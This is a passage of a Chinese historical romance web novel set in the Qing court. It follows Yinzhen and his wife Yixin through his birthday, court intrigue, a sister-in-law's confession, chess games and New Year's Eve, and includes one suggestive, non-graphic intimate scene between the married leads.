姚虞眼圈倏地有些发酸,害怕抱不住孩子,屈膝慢慢将弯弯放到软榻上,褪下翡翠手镯。 “来,见面草率一些,没准备礼物,你做额娘的,替她收着。” 完颜氏腼腆笑一下,“妾身替弯弯谢谢八嫂。” 仪欣看着姚虞指尖有些轻颤,装作不经意牵着住她的手。 姚虞笑笑,留了一盏茶的功夫便离开了。 胤禛今日下午不去户部,午膳和阿哥们和同僚在酒楼应酬,结束后便回府。 胤祥一会儿也到了,自己背着一个很大的包袱,放到胤禛面前,“四哥,生辰礼物。” 第71章胤禛生辰(2) “这是什么?” 老十三气喘吁吁,蹲着打开包袱,稀里哗啦一堆佛经摊在地上,差不多有三十几本。 “四哥,生辰礼物…各地搜罗到的佛经,还有两本过几日才能到。” 胤禛撂下茶盏,跟着老十三蹲在地上,一本本翻看那堆佛经,诧异问:“这本在哪寻得的?” 老十三憨笑,“老九的别庄。” “漂亮,”胤禛低头笑,“确实有几本好东西,不错,真不错。” “那是,我有些三教九流的朋友,到处搜罗来的,我估计着有些并非孤本,四哥得自己甄别。” “行啊。” 有几本佛经,胤禛确实爱不释手。 胤禛和胤祥蹲在地上,一本本翻那些佛经,胤禛愉悦挑出二十几本好东西,胤祥给它们摞好。 突然,内室一道孩童的哭声,还有砰的一声。 老十三蹭得站起来,胤禛和老十三一起往内室走,就看到地上碎掉的雪人泥陶——那是胤禛半个月前在城西给仪欣买的。 弯弯玩泥陶,猛得扔到地上,自己吓得哭了,仪欣捧着另一个完整的泥陶愣了一瞬。 完颜氏抱着孩子满脸歉意看着仪欣,“四嫂,对不起,我没看好弯弯。” “不哭不哭。”仪欣有些手足无措哄着,“没什么大事。” 弯弯号啕大哭,呜呜咽咽的指着泥陶碎片,挣扎着也跟着含糊说对不起。 她好像知道自己做了错事。 仪欣诧异瞪圆了眼睛,不知道怎么哄孩子,反手将手里泥陶扔到地上,眉眼温柔软声哄着弯弯,“没事,你看,我也摔了一个泥陶,没什么大不了的,没有犯错误。” 没什么大不了的。 小孩子灵气十足,大人如何暗示,她就如何思考。 弯弯破涕为笑,软软的手指指着地上的泥陶,又指了指仪欣。 仪欣温柔暖乎乎应和弯弯,“对呀,我也粗心摔了一个,没什么大事,小乖乖,你这么懂事哇。” 除了仪欣,所有人都是愣住的。 胤禛知道她多喜欢这些泥陶罐罐,每晚都要擦拭调整它们的位置,每个泥陶烧制出来都是独一无二的,她尤其喜欢这两个雪人泥陶。 完颜氏别过脸去,心情非常错愕沮丧,好像仪欣也哄了旧时的自己,原来没什么大事。 老十三将弯弯接过来抱到怀里,冲仪欣感激点点头。 胤禛将仪欣往身后拉了拉,也哄了她一下,“明天下朝给你再买两个,就是…烧不出一样的。” “没关系,梨花架上还有很多,遇到喜欢的再买。”仪欣隐晦蹭了蹭他的手臂,小小松口气,还好不哭了。 胤禛的生辰在只邀请了老十三和十三福晋带着他们的女儿。 胤禛和仪欣坐在东侧,老十三和完颜氏坐在西侧。 弯弯似乎格外喜欢仪欣,在额娘怀里挣扎着,稍稍往东边挣扎。 她已经自己会走了,仪欣逗弄拍拍手,冲她咿呀咿呀笑着说,“快来~弯弯。” “四嫂,麻烦你了。”完颜氏略带歉意说,她目光柔软看着女儿蹒跚着,由奶娘护着扑到仪欣怀里。 仪欣被弯弯扑得微微后仰,胤禛自然而然扶住她的腰。 “不麻烦,弯弯很可爱,我特别喜欢她。”仪欣笑眯眯说,将身上香囊解下来给小孩玩。 真的太可爱了,软乎乎冲人笑的小孩子,谁发明的呢? 弯弯,真的人如其名,眉眼弯弯,人见人爱。 “乖乖…”仪欣轻轻碰一下她的小手,又戳戳她的脸蛋,不经意溢出声声喟叹,弯弯咯咯笑回应她。 胤禛和老十三闲聊,余光轻轻落在仪欣的身上,看着她欢喜惊叹的模样,心间软软。 她当小孩子的时候是什么模样呢? 胤禛偏头温柔看她,回忆起四年前的往事,老十四抱怨马齐的女儿是个哭包又胆小,哭起来一团跟个包子似的。 若是知道这么可爱的包子是他的妻子,他当时就应该抬腿踹倒老十四,让他胡扯。 老十三看着四哥的目光,不由自主和完颜氏对视一眼。 他还有些许隐忧。 怕四哥生不出孩子。 不管了,四哥凭什么不能一争? … 冬日天黑的早,老十三和福晋带着弯弯回府。 弯弯依依不舍的,临走时还哭了一扬。 胤禛轻笑一声,将仪欣紧紧抱在怀里晃了晃,吐气如兰低声哄着,不自觉溢出些许笑意,话含到唇边还是改了话锋,轻叹一句:“好了,去拆礼物吧。” 他想说,小乖,咱们也生一个吧。 再过几年。 生一只和她血脉相连的孩子,或男或女,极好。 胤禛唇角含笑,露骨赤裸的视线缓缓轻吻她的耳垂,默不作声,揽着她到寝殿。 当即数十名丫鬟搬着仪欣给他买的生辰礼物,依次序摆到地上。 胤禛喉咙往外犯酸水,往仪欣身后躲了躲,埋头隐晦吸了吸她的气息。 待丫鬟退下,仪欣牵着胤禛的手,胤禛坐在软垫上,仪欣坐在胤禛的腿上。 仪欣欢喜一拍手,朗声说:“开始拆礼物。” 那日八大街,仪欣付银两买了整整一马车,贼不走空一般,每个商铺都挑了一两件。 没有一百件,也得有八十件。 她和胤禛一辆马车到的八大街,回王府时就变成了两辆马车。 仪欣的礼物和她的喜欢一样,毫无章法,乱七八糟又汹涌澎湃,像是夏日里骤然而至的冰雹,稀里哗啦声响极大。 胤禛一只手臂揽着她,仪欣一件件给他递礼物,胤禛怀抱圈着她,脑袋搭在仪欣的肩膀上,微微偏头就能亲到她的侧脸。 本来是两个人一起选的东西,仪欣在胤禛生辰之前用各种花花绿绿的纸包装一遍。 胤禛拆之前也不知道是什么。 “这块方墨仪欣选的很好。”胤禛偏头轻吻。 “那当然,我很有眼光的。”仪欣猛猛认同。 “这只铜钱编狮子真可爱。”胤禛轻吻。 “我当时买的时候,就觉得摆到你书房特别合适。”仪欣接过来摆弄一下,又给他递下一件。 “你是怎么想到送一只布老虎呢?”胤禛忍俊不禁,转头轻吻。 “布老虎是驱邪避灾,吉祥平安的象征哇。”仪欣捧着布老虎放到一旁。 “原来是这样。”胤禛偏头亲一下,“那便放到床头吧。” “好!” 第72章一。夜。十。三。次 “对!”仪欣捏了捏下一件礼物,“王爷快拆这个。” 仪欣雀跃跟他一起拆大件的貂裘和斗篷,还有玄色和橘色蟒袍,她觉得他适合鲜艳的颜色。 胤禛每一件礼物都给足情绪价值,温声问她有没有什么寓意,会问仪欣这件衣裳搭配什么配饰。 他喜爱素净,物欲又低,对装饰自己这件事表现得极其倦怠,不然从前王府一个月开销不至于才五百两。 仪欣来到之后,轻松翻了十倍。 拆礼物拆了一个时辰。 仪欣绝对不是一个坐在怀里老老实实的人,惯爱无意识撒娇,时不时哼唧嘤咛,一会儿勾勾手指,一会儿蹭蹭下巴。 胤禛目光越来越幽深,呼吸沉得如同粗喘,不自觉勾唇呢喃,“仪欣…仪欣…小乖…” 唤到小乖,更是变了意味。 所有礼物拆完,仪欣深深松口气,转身目光亮晶晶看着胤禛。 “王爷,生辰快乐,你还有什么想要的吗,我给你买。” 胤禛手臂使劲,单手将她抱起来,阔步走向床榻,他眯起满是情欲的双眼,在她耳边轻声吐出几个字:“小乖…本王还想要一、夜、十、三、次。” 一、夜、十、三、次…? 多少?! 仪欣被薅着放到床上,见他落下床幔,瞪圆眼睛推他的胸膛。 胤禛没有动作,垂着眼摸了摸她的手腕脉搏,小声呢喃,“本王今天的生辰还是很开心的。” 仪欣抿唇纠结半秒,推开他的手转而缠上他的脖颈,呜咽轻抖一下。 胤禛闷闷笑。 他顺着她的唇角往下亲,亲到细长的脖颈时反复流连了半晌,用温热的唇和牙齿轻啃厮磨,然后微弯着背,在她的锁骨上方吮出数个红痕。 “喜欢吗?”他低声温柔问。 仪欣的轻哼已经变了味道。 “可以吗?”胤禛慢慢挺/腰,嘴上安慰道。 “等下全部…,习惯一下,小乖。” “乖孩子,很棒。” 他不得不克制动作,于是语言总是格外猖狂,带着挑逗和诱哄。 “王爷…别说话…别说…” 仪欣头脑发昏,她真想一巴掌给自己拍清醒一点,他的声音怎么说那种话都这么好听,她怎么连这一套也吃啊??? “嗯?别说什么…舒服吗?”胤禛引导着她的着问。 仪欣的声音迷迷糊糊的,却因为不敢叫的太大声显得特别的勾人,尾音软软的,还带着些许哭腔,一听就是有些受不住了。 “别哭,是不是轻轻的,没有很/重对不对?” “嗯,没.有.很./重…” 天呐,太乖了,这都要乖巧回答他。 胤禛眯着眼仰头吐气,把她搂的很紧。 仪欣就是喜欢咬他,呜呜囔囔轻一口重一口,没个章法,胤禛时常闷吭粗喘。 “可以咬/疼一点吗?” “可以,你怎么舒/服怎么来,都可以。”胤禛一下下吻她,让她咬着方便些。 一碰就会脸红的小兔子,还没等他亲几下,眼睛里也雾蒙蒙的,有些失神,有意无意的蹭着自己。 “他们明明说你不能人道。”仪欣控诉般嘤咛。 胤禛闷闷笑:“不是不能,是不想。” “那现在呢?” “嘶——”胤禛闷吭,“小乖,别/咬。” 仪欣听话松开牙齿,乌润润泛红的眼睛望着他。 胤禛轻叹,稳稳托着她的头,胸膛凑上去,喉咙沙哑闷闷笑说,“本王不是说上面别咬。” … 一个时辰,仪欣失神呢喃,可怜巴巴问:“真的要十三次吗?” 胤禛弯了弯眼睛,笑出声来,若有所指轻啧一声,重重亲一口,“哦,你想的美。” 谁?谁想的美了? 仪欣气恼都顾不上辩解,羽睫轻颤,昏昏欲睡搂紧他的腰。 胤禛分不清亲多少次了,拆每一个礼物都想亲,做的时候要亲,做完了要亲,她闭眼睛睡着的时候也要亲。 胤禛抱她一会儿,平复一下身体,不假人手抱着她去沐浴,回来后又小心翼翼涂药。 仪欣嘤咛睁开眼,抱怨一句:“你怎么都不睡觉。” “本王睡了,谁伺候你?” 胤禛心中轻哼,故作不耐烦拍拍她的背,又将人哄睡,继续蹲着一点点替她涂药。 * 胤禛上朝时都唇角带笑。 下朝之后,康熙留他在乾清宫议事,言语间试探着问及年羹尧和太子之间的交集。 胤禛直言是年羹尧想结识太子,太子亦是欣然,他在中间顺手搭桥。 半真半假,可以查,查的到,但是胤禛可以保证康熙查不准。 康熙当即沉了脸色。 他重重缓口气,丹凤眼扫过龙椅和御案的寸寸角落。 不止他监视太子,太子何尝不在伺机而动,监视探听他的行踪,拉拢朝中大臣。 梁九功见康熙变了脸色,似是黑云压城,缓步上前递上一盏茶。 康熙回过神来。 胤禛指腹揉上康熙的太阳穴,担忧提醒:“阿玛,您要当心身子。” “嗯。”康熙心中熨帖些,舒服倚在龙椅上,转个话题随口问一句,“昨日生辰如何过得?” 胤禛不自觉弯唇,眸光柔和些许,语气仍旧平淡。 “和同僚及几位兄弟在酒楼用了午膳,请十三弟过府一同用了晚膳。” “就这么简单就过完了?” 康熙不悦皱眉,“你如今的身份地位,生辰理应开宴,召宫中戏班子唱戏,施粥行善,广布流水席都不为过。” “阿玛,儿子不爱排扬,人多了又乱又烦。”胤禛直言不讳,又笑着提起,“老十三的小格格真是可爱,儿子和福晋见了都喜欢。” 康熙被胤禛按摩得精神舒缓,提起孩子又有些蹙眉,不免想起胤禛后院空空,连个子嗣都没有。 他倒是有几分真心忧虑,他如今最喜欢的儿子无子无后,膝下单薄,确实也心软。 “你的子嗣问题当真艰难至此吗?” 胤禛闻言,轻轻叹口气,“一切凭太医诊断罢了。” 康熙按住胤禛的手拍了拍,疏狂不羁安抚他:“没事,爱新觉罗氏的孩子,阿玛让他们排成一排,任你挑。” 第73章太子针对老三 康熙倚着龙椅,拍拍胤禛的手,示意他退下吧。 冬的盛开是满目的白,紫禁城银装素裹,胤禛走在庭廊下,小太监纷纷低头行礼避让。 走在出宫的必经之路上。 转弯处,胤禛骤然停下脚步,向左侧偏一下身子。 下一秒,一个宫女扑倒在地,爬着就要抱住胤禛的腿磕头请罪。 “奴婢该死,奴婢该死。”宫女哭得梨花带雨,楚楚可怜凑近请罪,想拽上胤禛朝服的衣摆。 脂粉扑面,胤禛略微呼吸不畅,太阳穴涨的发疼,他脸色有些不好,任谁都能看得出异样。 “来人。”胤禛还是淡定自若,扯了扯唇,不管是谁,用这般拙劣的手段试探他,都不值得他费心应付。 两个小太监拉走那宫女,宫女抬眸望着胤禛,逾矩唤着王爷。 “王爷。”庭廊下当差的太监总管赶忙弯腰迎上来,斟酌讨好试探问,“用不用奴才打听打听这宫女出自哪个宫里?” 胤禛赞赏挑眉看他一眼,慢悠悠开口:“不必,替本王交给皇阿玛。” 总管太监一愣,冷汗霎时冒出来,寒冬腊月竟是感受到压迫感,雍亲王可以将宫女暗戳戳的勾引袒露在万岁爷面前。 想清楚这一点,总管太监腰弯得更低,愈发恭敬,他攀不上乾清宫的当差的太监,只能在将出宫的路上当些闲散差事,竟是能顺手帮了雍亲王。 心里又漫上狂喜。 “欸!奴才这就去办。” 总管太监再抬头,只能远远看到雍亲王黑色貂裘不紧不慢随着他的步伐轻晃。 出了宫门,苏培盛迎上来,胤禛揉了揉额角登上雍亲王府马车。 马车里,入眼便是一个青衣男人斜倚马车壁,眯着狐狸眼。 似是察觉风雪入了马车,傅文缓缓睁眼,含着笑意,第一话便是,“四爷,做事绝啊。” 苏培盛听到马车里的声音,自觉守着马车。 胤禛不喜傅文这笑面狐狸模样,坐在马车上解下大氅,淡淡开口:“有话直说。” “王爷或许不得知,您随手铲除三爷在太子身边暗桩,将消息透露给太子,太子对三爷报复打击到疯魔的程度。”傅文笑着开口,“三爷快活不了了。” 太子利用狎妓之事,引出万岁爷在身边的暗桩,结果,胤禛顺藤摸瓜,将老三在太子身边监听的奴才也挖了出来。 胤禛极其擅长祸水东引,习惯搅弄风云后片叶不沾身。 太子如何厌恶被监视探听,他奈何不了康熙,但怎么可能在诚亲王那里忍气吞声。 本就精神略微不正常,太子如今做起事来,称得上心狠手辣,撕咬着要搞垮老三胤祉。 康熙只较真太子对他不恭不孝,至于太子如何磋磨兄弟,康熙大部分都是睁一只眼闭一只眼。 甚至,全闭上。 约莫还会夸赞太子有魄力。 胤禛笑笑:“怎么?老三求到谁头上了?总不至于是富察氏。” 傅文缄默一下,严肃开口:“四爷,他选了钮祜禄氏,同时联络了八爷十爷。” 八爷和十爷没有了竞争皇位的机会,老十四因禁足失了先机。 这时候,老三和老八老十倒是利益相契。 说他杞人忧天也罢,如今雍亲王明面上还是太子党,若是诚亲王反击,怕是先会对雍亲王下手。 胤禛握着佛珠随意捻了捻,看着傅文严肃里带些探究的目光,“本王有分寸,老三和老八不是同道中人。” 傅文和胤禛交换一个眼神,温和笑着若有所指开口:“王爷,阿灵阿大人也是微臣的亲舅舅。” 没有十爷,钮祜禄氏不会同八爷捆绑。 胤禛淡漠揉了揉额角叹口气:“不必如此,你这么疯,马齐知道吗?” 他偶尔真是有些晃神,富察傅文竟是仪欣同父同母的兄长。 傅文闭了闭眼,随和倚在马车壁上,又是一副笑脸,“王爷玩笑了。小九还好吗?” “她很好,每天会吃很多东西,没有生病,就是偶尔头痛,应是许久足不出户,心中烦闷。” “已经很好了。”傅文发自内心温柔笑了笑,出于礼貌,没话找话补充问一句,“王爷身子还好吗?” 胤禛目光颇为晦暗,倦怠闭了闭眼,“好。你下车吧。” * 胤禛回府时,仪欣刚刚送走了十三福晋。 她的桌面上摆着两个新的雪人泥陶,还有昨日磕掉角的泥陶碎片。 “王爷,抱抱。”仪欣摆弄着泥陶罐罐,胳膊朝着胤禛探了探。 胤禛解落大氅,伸出手臂将仪欣搂在怀里,隐晦亲了亲她的发顶,在仪欣耳边轻声问,“今天有没有不舒服?” 明明是很平常的询问。 但是,仪欣如今听不得“舒服”二字,小脸骤然绯红,耳尖也红了。 胤禛不用想就反应过来她想什么,闷闷笑出声来,顺着她的想法,笑着感叹,“仪欣,好可爱。” “王爷,你专心抱着我,我现在不想听到你的声音。”仪欣轻哼一声,头顶蹭了蹭他的下巴。 胤禛动动脑袋,便是答应她。 认真环着她的身子。 仪欣不让胤禛说话,她自己却不是个沉默性格,叽叽喳喳一连串跟他分享。 “王爷,如今我不适宜出府,姚虞姐姐要时常进宫照料良妃娘娘,城南的事已经步入正轨,却也离不开十三弟妹时常盯着。” “王爷,十三弟妹今日早早送来两个新的泥陶罐罐,说是替弯弯赔礼道歉,要我说,她好像有点太拘谨了。” “王爷,我感觉她好像有点不高兴,就是…她今天看到我,我感觉她有点想哭,就是好像有很多话要问我,但是她不愿意分享,我也就没问。” “王爷……” “王爷……” 胤禛给她喂一盏温水,就听着她分享一日里发生的小事,偶尔轻吻她的侧脸,示意他在听。 仪欣是高需求的,又略微不记事,倾诉半晌,不悦蹙着眉问:“王爷,你怎么不理我?我一直在讲话。” “富察仪欣,别不讲理。”胤禛淡淡说了这半晌第一句话。 嗯,一直在讲话,从来不讲理。 第74章完颜琪琪格 胤禛唇角轻抿,“你想听什么呢?” “想听王爷说任何话。” 胤禛含笑睨她一眼,“福晋刚刚可不是这么说的。” 仪欣纵使理亏也不会落了下乘,呜呜囔囔要亲一会儿,亲完了他肯定就忘了不让他说话的事情了。 * 仪欣对于旁人崩溃的情绪,总是有一种小兽般的直觉。 她说不清道不明完颜氏究竟为什么不开心,但是她是对的。 十三福晋完颜氏在回府的路上,只觉得身心俱疲,并非是和仪欣相处不愉快,相反,正是因为很愉快,所以她对自己的性情产生了深深的厌恶。 “福晋,贝勒爷在外面。”丫鬟在马车外提醒。 “将贝勒爷迎上来。”完颜氏喉咙有些哑。 老十三一上马车愣住了,递过去一块绢帕。 完颜氏也一愣,接过绢帕,发现自己在哭。 “出什么事了?” 老十三担忧问,她不是去和四嫂赔礼道歉了吗,四嫂为难她了?不可能。 完颜氏狼狈擦了擦眼泪,她本来想如同往常那般强颜欢笑说没事,但是,她想改变。 “贝勒爷,咱们说说话吧。” “你说,爷听着呢。”老十三往她身边靠了靠,她的声音有些沙哑,近一些听得真切。 “贝勒爷,我其实并非完颜氏的嫡长女。” 完颜氏的声音很轻,她说的慢悠悠的,带着哽咽,像是夏日飘在山间的晨雾。 老十三一怔,却没有打断她。 “说的不太准确,在我之前,额娘还生了一个女儿,只是未满周岁便夭折了。” “又一年,额娘便生下了我。可惜,我不是个男儿。所以,再一年,额娘又生下了二妹妹,隔三年,又是三妹妹。” “额娘的身子因为生产熬得油尽灯枯,还是长吁短叹没有为阿玛诞下嫡子。她应是个要强的人,女则女训要我读的最熟练。她极其信奉女子无才便是德,于是言传身教要求我。” “她偶尔很疼爱我,但是,她把更大部分的关注和疼爱都给了那个不存在的弟弟。” “不上不下的两个幼妹,甚至分不到一点,所以,我在她们的生活中不由自主担任些额娘的角色,把本就不甚多的疼爱分享给她们。” “可是,我变得干涸,敏感,自卑,封闭,没有办法直言自己的喜欢和想法。” “我没读过什么深奥的书,不太明事理,我偶尔心疼我的额娘,更多时候是暗自发誓,绝不变成她的样子。” 老十三将她手中的帕子接过来,沾掉她下巴上的泪珠。 人潮熙攘,马车外有些嘈杂的叫卖声,混杂着马车轱辘轻碾地面的声音。 老十三仍旧没有出声,只是听着,于她而言,倾诉,需要一鼓作气,再而衰,三而竭。 “贝勒爷,我有两次背弃了弯弯。” “第一次是在她出生的时候,我心中一道声音遗憾她不是个阿哥,因为我太需要在贝勒府站稳脚。当我反应过来后,狠狠甩了自己一巴掌。” “第二次是昨日,或许更早。我在理应教她没什么大不了的时,先厉声教她学会道歉。” “我思虑整夜,发觉自己越来越像我的额娘,甚至比她更加冷漠自私封闭,我怕弯弯长成我这个样子。” 完颜氏的目光缓缓落在老十三脸上,他的担忧心疼没有作伪,甚至能共情她的遭遇,轻轻接住她的眼泪。 完颜氏眉眼弯弯,浅浅笑了。 “贝勒爷,我从一开始就知道,我也是你多管闲事才拯救的。” “三年前,十四爷悔婚,在交换信物之后,绝口不提结亲之事。你可能是看不惯他的行径,同十四爷争执说,爷觉得完颜氏不错。” “我记得这句话,阿玛偶然听到,大喜过望,回府转述给我。不知中间阿玛运作多少,后来便是如此,我成了十三福晋。我…我没有青灯古佛,没有外嫁出京,我可以护着幼妹。” “其实,你为了素昧平生的我,跟十四爷争执,对你的名声没有任何好处。甚至若是有心人利用,还会误了你的名声。” “你和四嫂、八嫂她们是一类人,善良,仗义,大方。” “其实,我不理解你对胭脂的帮助,如同我漠视着四嫂八嫂对城南百姓的帮助。” “我参与城南之事,完全是为了让低嫁的二妹能参与城南行善,顺理成章接触诸位福晋。” “其实,本来若是跟四嫂八嫂递个话,二妹便可以参与,但是,我太敏感,得到想要的东西,总要曲折迂回。” “我羡慕四嫂,真的,真的,她昨天摔掉那个泥陶,彻底摔碎了我的观念。” “今日,我去城西给四嫂买新的泥陶,才知道它很贵,是独一无二的,是雍亲王和马齐大人同时买过。更是将我摔碎了。” 剖白自己是一件羞耻且痛苦的事情,完颜氏缓缓抬起头,惨淡笑了笑。 “贝勒爷…救救弯弯…” 老十三把她嵌进怀里,第一次拥抱了一个真实的她,他脊背很宽阔,干燥温暖的手替她抹去眼泪。 木讷,腼腆,冷漠,一板一眼。 她在府中说的最多的话,便是“对不起”“谢谢”,或者沉默,有时候暴露情绪,便是尖锐刺耳。 在一群人说话的时候,她永远都在倾听,温婉笑着点头。 他和她从来都没有交流过,从来都没有说过关于彼此的话。 胤祥这才开始说话。 “君子论迹不论心,论心无完人。你说你冷漠自私封闭,可是,你全心全意疼爱弯弯,将为数不多的爱分享给妹妹,你切实帮助了城南百姓,将府中上下打理的井井有条。” “你有你的好。” “是吗?”完颜氏呢喃,自言自语。 “是。”胤祥思索半晌,认真开口,“你女红很好,几年前给太后绣的百寿图贺寿礼,我见过。” 完颜氏闭了闭眼,哭出声来。 没有人说过,她有她的好。 “日后遇到的事情,咱们商量着来。”胤祥温声说。 完颜氏哭着点点头。 第75章下棋 完颜氏哭了一场,头脑发懵,到了夜里仍旧辗转反侧,一遍遍复盘在马车上剖析自己说的话。 她一会儿有点后悔,觉得应该继续伪装下去。 她的痛苦像暴雨决堤前的云,沉默又压抑。明明尚未经历大雨,可是她早就被淅淅沥沥的潮湿淋透了。 深夜里,老十三缓缓睁开眼,一只手按住她的肩膀。 完颜氏一僵,“妾身吵醒贝勒爷了吗?” 老十三轻轻叹口气:“睡不着可以和爷说话,说什么都行。” 想到她的性情,老十三又补充一句:“爷爱听。” …… 明纸镂花窗外煎盐叠雪。 胤禛斜倚在屏风前,慢条斯理落子哄着仪欣下棋。 康熙封笔极早,胤禛这半个多月便在府中过冬,弘皙迎娶嫡福晋,年后两位侧福晋也会入府,老三和太子在朝堂上斗得热火朝天,胤禛也只是作壁上观。 只要伸到雍亲王府的爪子,胤禛都默不作声剁掉。 不争即是争,伤敌一千自损八百的事情,做起来还不如陪仪欣下棋。 寝殿内弥漫着淡淡的果香,窗外大雪纷飞,照得室内温暖明亮。 仪欣盘着腿抿唇倚在胤禛的腿上,墨色长发散落在身前,她聚精会神盯着棋盘。 胤禛也不催她,随意掂了掂手中白子。 “啪嗒——”一声落子。 “王爷,该你了。”仪欣眼睛亮晶晶看向胤禛。 胤禛含笑看她一眼,落子。 “啊!为什么?” 仪欣目瞪口呆检查棋盘, 他怎么总是能把棋子落到意想不到的地方。 胤禛无辜摊开手,给她展示仅剩的两枚棋子,他真的什么都没做,就赢了。 “为什么?为什么我又输了?”仪欣掏钱特别麻利,哼哧哼哧将银票放到胤禛手上。 胤禛慢悠悠收起银票,轻笑耸耸肩:“不知道。” 仪欣呜呜囔囔扎到他怀里,在他胸膛恶狠狠啃一口,又啄吻两下,给自己打打气,“接着来。” “好。” 仪欣怕冷,寝殿内冬日炭火极足,胤禛肝火旺盛,体热难耐,在寝殿整日穿着夏日衣衫。 胤禛下棋走一步看三步,全局观念极重,落子大开大合; 仪欣跟他下了这么多天棋,真是绞尽脑汁揣测他落每一颗棋子的目的,反正一局没赢过。 纵使她眼巴巴对着他撒娇,胤禛也不让着她。 半晌,胤禛摊了摊手心,挑眉看着她。 仪欣低头又在荷包里抽出一张银票,放在胤禛手心,轻哼一声将他手腕的佛珠摘下来,戴到自己手腕晃了晃。 “王爷,你肯定是因为有佛祖保佑才赢的。”仪欣笃定说,还自说自话点点头。 “过来,凑近点。”胤禛喉咙轻滚。 不讲道理,赢不了也不琢磨算计一下,反倒归结于佛祖保佑。 擅自凉掉的茶水,甜腻恼人的果香,上天神佛的保佑,一切的一切都替他的小乖顶过罪。 仪欣笑眯眯凑近他,娇憨闭上眼睛。 胤禛重重亲她一口,勾唇笑着伸手拍一下她的脑门,“来,接着玩。让本王看看佛祖保佑仪欣是怎么样的。” “唔…”仪欣捂住自己额头,哼哧哼哧继续下棋。 仪欣是极好的性子,她半个月没赢过胤禛,还要输银票,却也知道一码归一码,哼唧撒娇卖乖却也输得起,只是经常给自己找莫名其妙的借口。 两个人继续下棋。 胤禛看着火候到了,淡淡道:“为什么一直盯着本王上一个棋子落到何处呢?之前的呢?不看了?” 仪欣一愣,缓神看到胤禛敲了敲棋盘某个不起眼的角落,漂亮的眼睛落下,“好像又输了。” “逐鹿者,不顾兔。”胤禛顿了顿,把颇为沮丧的人儿薅到怀里搂着,声音温柔解释。 “有时候一子两子,扔了就扔了。你倒好,顾头不顾尾,本王随意落两个无关紧要的棋子,你就被牵着走了。” “好的,学生受教了。”仪欣轻哼一声,缓缓弯唇,“但是,王爷,让我学一下你下棋。” 仪欣说着,欢欢喜喜收拢棋子。 胤禛直了直身子,颇有兴味看着她复盘。 “王爷,你下棋有个习惯,爱往边上落子。”仪欣落子挑眉看着他。 “然后,你会这样…往这里下…有时候突然会这样…” 仪欣输了这么久,模仿也有些门道,她本来也想着模仿王爷来赢他,但是确实如他所言,他随便下两个莫名其妙的子,她自己就乱套了。 她最近梦里都是吭哧吭哧琢磨着怎么下棋。 寝殿内只有刻漏声,衬托着她清脆的说话声,他看着她虎头虎脑认真模仿他的棋风。 胤禛唇角笑意渐深,确实有几分相似。 “怎么样?”仪欣得意看他一眼,“王爷,是不是有你下棋时的气韵?” 胤禛不否认点头,含笑勾了勾手指,“好了,很像,掏钱。” “哦,好。”仪欣老老实实把银票递给胤禛。 胤禛捻了捻这半个多月赢的银票,不紧不慢感慨一句:“不错,陪我们家小乖下棋,比当王爷办差挣得还多。” 仪欣:…… 输了半个月,没他这一句话噎人。 仪欣晚上做梦又在复盘棋局,飘飘然好似躺在云朵上,她变小了,忙忙碌碌搬着棋子放到棋盘上,仰头眼巴巴看着胤禛运筹帷幄落子,她在棋盘上气喘吁吁跑来跑去。 胤禛要落下关键一子,仪欣急得团团转,情急之下大喊央求道:“王爷,我想赢,求求你了。” 愿为出海月,不做归山云。 胤禛漆黑的眸子缓缓睁开,他弯了弯唇,在落雪的夜里,心跳声窸窸窣窣钻到雪里。 没出息的小东西。 至于竟是说梦话也要央求他让子。 胤禛罕见承认他确实有些腹黑,偏偏欺负她性子好,又乖巧。虽然是想引导着教她,确实也有些坏了。 仪欣在夜里睡得不安稳,委屈巴巴又嘟囔两句话。 “好了好了,让你赢让你赢。”胤禛温柔拍着她的脊背,闭着眼把人搂在怀里,“本王保证,仪欣会赢。” 仪欣嘤咛两声。 * 第二日清晨。 仪欣懵懵然从床榻上坐起来,听到庭间的爆竹声,捂了捂耳朵,唤道,“王爷…” 胤禛在花厅听到她的动静,撂下政务,阔步走进内殿。 仪欣看到胤禛,眼眸亮晶晶的,软乎乎喟叹一声:“胤禛,除夕快乐哇——” 第76章除夕宫宴 胤禛蹲到床榻前,仰头看着她粉黛未施的娇憨模样,他轻轻开口:“仪欣,除夕快乐。” 仪欣骄矜笑着,低头拱了拱他的颈窝,“王爷,咱们什么时候入宫?” “宫宴是申时三刻,咱们提前两个时辰入宫。”胤禛说着将她在床榻上拉起来,“先简单洗漱用早膳,本王带你去放爆竹。” “好耶!” 雍亲王府整个都是喜气洋洋的,仪欣赏了全府上下三个月份例。 这是她和王爷一同过得第一个除夕,格外值得纪念。 “不行,我没有自己点过爆竹。” 仪欣跃跃欲试握着一支香,还是有点害怕。 胤禛站在仪欣身后,鼓励她,“没事,本王在你身后。” 仪欣认真点点头,呼吸放轻去点庭间爆竹,霎那间,她还没反应过来,胤禛便薅着她退远几步。 爆竹噼里啪啦蹦出红色纸屑。 仪欣欢呼,踮着脚赶紧捂住胤禛的耳朵,胤禛顺着她的动作微微弯腰,眯着眼睛笑。 苏培盛错愕低下头,好的,我那柔弱害怕爆竹声的王爷。 … 雪天路滑,仪欣和胤禛入宫格外早。 一来,此时没有皇子福晋入宫,仪欣可以乘坐轿辇;二来,胤禛要带仪欣一同去乾清宫请安。 乾清宫。 “哎呦,奴才给王爷福晋请安,”梁九功笑着哈腰,主动搭茬说,“万岁爷刚刚还念叨王爷,猜着您便最早的。” 胤禛温和点点头。 进入乾清宫书房,仪欣和胤禛同时跪地请安。 “儿臣给皇阿玛请安,皇阿玛万福金安。” 康熙熨帖胤禛来得早,威仪笑着开口:“免礼,赐坐。” 胤禛和仪欣坐在康熙对面,梁九功亲自给二人上茶。 仪欣眉眼弯弯,抿一口六安瓜片,笑着开口:“皇阿玛除夕快乐。” 胤禛看她一眼,温声附和:“阿玛除夕快乐。” 康熙又觉得熨帖,乐呵呵点点头,看一眼梁九功,梁九功顿一下,恭敬呈上两个红封。 康熙拿过来,递给仪欣一个,又扔给胤禛一个,轻咳一声:“用来压岁吧。” “谢谢阿玛!”仪欣喜滋滋脆声说。 胤禛将自己的红封递给仪欣,也跟着温声说:“谢谢阿玛。” 康熙倚着龙椅,看着胤禛雄姿英发的模样,手指不自觉摩挲扶手,“近日在府中做什么?” “下棋。”胤禛说。 仪欣附和点点头,随之解释:“儿臣和王爷日日下棋。” “哦?你下棋竟是能和他有来有往吗?”康熙颇有兴致看向仪欣。 仪欣有些纠结,没赢过算有来有往吗? 不管了,肯定算啊。 仪欣大言不惭点点头,“一起下了半个月呢。” “来,陪朕手谈一局。”康熙诧异。 